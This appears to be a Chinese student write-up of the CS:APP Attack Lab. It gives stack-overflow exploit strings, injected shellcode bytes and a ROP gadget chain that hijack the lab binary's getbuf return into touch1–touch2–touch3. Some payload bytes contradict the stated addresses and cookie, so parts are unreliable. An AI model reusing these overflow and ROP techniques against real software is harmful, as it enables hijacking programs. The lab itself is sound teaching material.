这是一个关于程序缓冲区溢出攻击的实验。在进行这个实验之前,请先阅读Writeup
这两个程序都是用 getbuf
函数来获取输入:
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
PartⅠ:Code Injection Attacks
Phase1
在第一阶段,我们不需要注入任何代码,只需要将程序redirect到一个已经存在的函数即可
getbuf()
函数由 test()
函数调用:
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
我们要做的是:通过buffer overflow攻击,使得当程序从 getbuf()
中返回时,令其跳转到 touch1
函数,而非原来的 printf
语句:
void touch1() {
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
看一下test函数:
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff call 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 ret
程序先将rsp减8后,调用了 getbuf
函数。看一下 getbuf
函数:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
我们画出执行 call 401a40 <Gets>
之前的栈状态:
RA1表示 test
的调用者的返回地址,我们并不关心
进入 getbuf
后,程序首先通过 sub $0x28,%rsp
在栈上开辟了40字节的空间,然后将这块空间的首地址作为参数传递给 Gets
函数:将读入的数据保存在这40个字节里
为了让 getbuf
返回到 touch1
中,我们只需修改test
栈帧上的返回地址,将其原本的 0x401976
修改为 0x4017c0
,也就是 touch1
函数的地址。
修改方式很简单,通过buffer overflow攻击即可:写入一段48字节的数据,其最后8个字节会“污染” test 栈帧上的返回地址,所以我们只需让最后8个字节的内容是 0x0000_0000_0040_17c0
即可:
于是我们创建一个文本文件 hex.in
,写入如下内容:
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
c0 17 40 00 00 00 00 00 /* touch1's address */
前40个字节无所谓,其作用就是填满buf。最后8个字节注意字节序,x86是小端,所以低位字节在前面
然后交给 hex2raw
工具将其转为二进制:
$ cat hex.in | ./hex2raw > hex.out
最后,将得到的二进制文件feed给目标程序即可:
$ ./ctarget -i hex.out -q
至此,我们就完成了phase1
Phase2
这个阶段需要我们通过输入字符串注入一小段代码
阅读实验要求,我们需要跳转到 touch2
函数:
void touch2(unsigned val) {
vlevel = 2;
if(val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf(""Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
跟上一个一样,我们需要修改返回地址让程序跳转到 touch2
函数。但是这里多了一个要求:我们必须传入一个参数val,使得程序执行if分支,所以我们需要在进入 touch2
之前插入这样一条指令 movq $0x59b997fa, %rdi
注意,实验要求中做了如下限制:
不允许我们使用 jmp
指令和 call
指令进行跳转,只能用 ret
指令进行跳转(理由是这些指令的编码很复杂)
为了进行代码注入,我们可以采用如下方法:
- 将
0x5561dca0
处的返回地址修改为栈上的某一地址(buf),其中存放了我们需要注入的代码,关键是movq $0x59b997fa, %rdi
指令 - 将我们要注入的代码存入buf,注意字节序
- 为了让程序跳转到
touch2
函数,我们可以将其地址压栈,然后执行ret
指令
根据上述分析,我们需要注入的代码如下:
movq $0x59b997fa, %rdi
pushq $0x4017ec #touch2的地址
ret
将其编译为机器码,再反汇编到文件:
$ gcc -c injection.s
$ objdump -d injection.o > injection.d
现在我们得到了需要注入的机器代码:
injection.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
我们要注入的内容是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */
68 ec 17 40 00 /* push $0x4017ec */
c3 /* ret */
00 00 00
90 dc 61 55 00 00 00 00
然后交给 hex2raw
工具将其转为二进制:
$ cat hex.in | ./hex2raw > hex.out
最后,将得到的二进制文件feed给目标程序即可:
$ ./ctarget -i hex.out -q
至此,我们完成了phase2
BUT,我刚开始做这个phase的时候,我打算注入的代码是:
movq $0x59b997fa, %rdi
movq $0x4017ec, (%rsp)
ret
因为我的想法是把参数传到 %rdi
后,修改此时栈顶的值为要跳转的地址,然后ret即可。但是这个方案行不通,程序会在 printf()
中抛出段错误,具体原因我也不太清楚
Phase3
这个实验与上一个类似,只是这时要传入的参数变成了一个字符串指针。程序中存在这两个函数:
int hexmatch(unsigned val, char* sval) {
char cbuf[110];
char* s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char* sval){
vlevel = 3;
if(hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
跟上一个一样,我们需要修改返回地址让程序跳转到 touch3
函数。但是这里我们需要传入的参数发生了变化:需要传入一个字符串指针,它的内容是:
"59b997fa"
所以我们需要将这个字符串注入栈空间中,然后让 %rdi
指向它,最后跳转到 touch3()
但是实验要求提醒我们注意:
有些函数调用会向栈中压入数据,所以我们注入的字符串可能被覆盖掉。我们需要小心地选择字符串的存储位置
我刚开始想把这个字符串尽可能向内存的低地址处存,因为栈指针在上面,所以离它越远,被覆盖的风险越小。但是最终结果证明这样做也不能保证字符串不被覆盖
那么就反过来,将字符串存入高地址,有多高呢?比栈指针还高。回想我们上面的栈状态:
存放返回地址的上一个4字空间,似乎没怎么用,而且这个地方是绝对安全的,不会被覆盖,所以我们选择将字符串存在这里。这时栈的状态应该是下面这样:
根据上述分析,我们需要注入的代码如下:
movq $0x5561dc78, %rdi
pushq $0x4018fa
ret
编译后,再反汇编:
0000000000000000 <.text>:
0: 48 c7 c7 78 dc 61 55 mov $0x5561dc78,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
我们需要注入的内容是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 a8 dc 61 55 /* mov $0x5561dc78,%rdi */
68 fa 18 40 00 /* push $0x4018fa */
c3 /* ret */
00 00 00
00 00 00 00 00 00 00 00
88 dc 61 55 00 00 00 00 /* return address */
35 39 62 39 39 37 66 61 /* "59b997fa" */
注意到内容变多了,这是因为我们需要“污染”更多的内容:不仅要把返回地址“污染”进去,也要把字符串“污染”进去(虽然我们没有考虑结束的\0)
至此,我们完成了phase3
Part Ⅱ: Return Oriented Programming
这一部分比上一部分更难:
- 引入了栈随机化机制,使得我们无法定位注入代码的地址
- 栈上的内容不再有执行权限,如果PC指向了栈空间,程序会爆段错误
这里引入了一种新的攻击方法:通过执行现有代码,而不用注入代码
最具代表性的是 return-oriented-programming(ROP)
这种方法的策略是识别出现有程序的一些特定字节序列,这些字节序列构成了一条或多条指令(后面跟着ret指令)
这样的一段字节被称作gadget
如上图所示,栈空间上存储了一系列 gadget 的指针。每个 gadget 都是由一系列指令序列组成,最后跟着 ret
指令
一旦程序进入第一个 gadget,就会触发一系列连锁反应,使得每个 gadget 的内容都得到了执行
例如下面这段C程序:
void setval_210(unsigned *p) {
*p = 3347663060U;
}
它只对应两条汇编指令:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)
400f1b: c3 retq
查阅指令手册可知,这里面的字节序列 48 89 c7
正好是 movq %rax, %rdi
的指令编码
所以,如果我们让程序跳转到 400f18
,就能够执行 movq %rax, %rdi
这条指令,这虽然看起来微不足道,但是使用一系列的 gadget,我们就能达到特定的目的
Phase4
这部分重复了Phase2的内容,但是有如下要求:
- 使用ROP方法进行攻击
- 只允许使用程序中farm中的指令作为 gadget
分析一下这个问题:
- 我们需要将 cookie 的值写入
%rdi
- 同时将touch2的位置作为返回地址
这些都需要我们编码进exploit string当中
一种思路是将cookie的值放在栈里,然后执行 popq %rdi
。但是经过搜索,代码中并没有包含 popq %rdi
的 gadget 可供使用,我们需要中转一下:
popq %rax # 58
movq %rax, %rdi # 48 89 c7
这些二进制代码在程序中都有,而且很幸运的是他们的后面都跟着nop
指令,然后是 ret
,这非常满足我们的需要:
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret
...
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret
所以我们让栈呈现如下状态:
- I1存放
popq %rax
的地址,查阅反汇编结果可知,为0x4019ab
- cookie存放的是cookie值,当程序从getbuf中返回时,
%rsp
就指向了cookie,所以此时执行pop就能将cookie值保存到%rax
- I2存放的是
movq %rax, %rdi
的地址,当程序执行完popq %rax; nop; ret
指令后,就会跳转到这条指令,于是我们就能将cookie值保存进%rdi
- touch2保存的touch2的入口地址,当程序执行完
movq %rax, %rdi; nop; ret
指令后,就会跳转到touch2执行,达到了我们的目的
所以我们需要注入的内容为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 5a 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
执行完getbuf后,函数栈帧如下所示,符合我们的设计:
至此,我们完成了phase4:
Phase5
Phase5是重复Phase3的内容:输入参数是一个字符串。但是使用的是ROP方法
听从实验指导,不做了哈哈哈哈哈(尝试了一下,难度很大,比较花时间)
原理和上一个是一样的,但是需要凑的指令更多,更复杂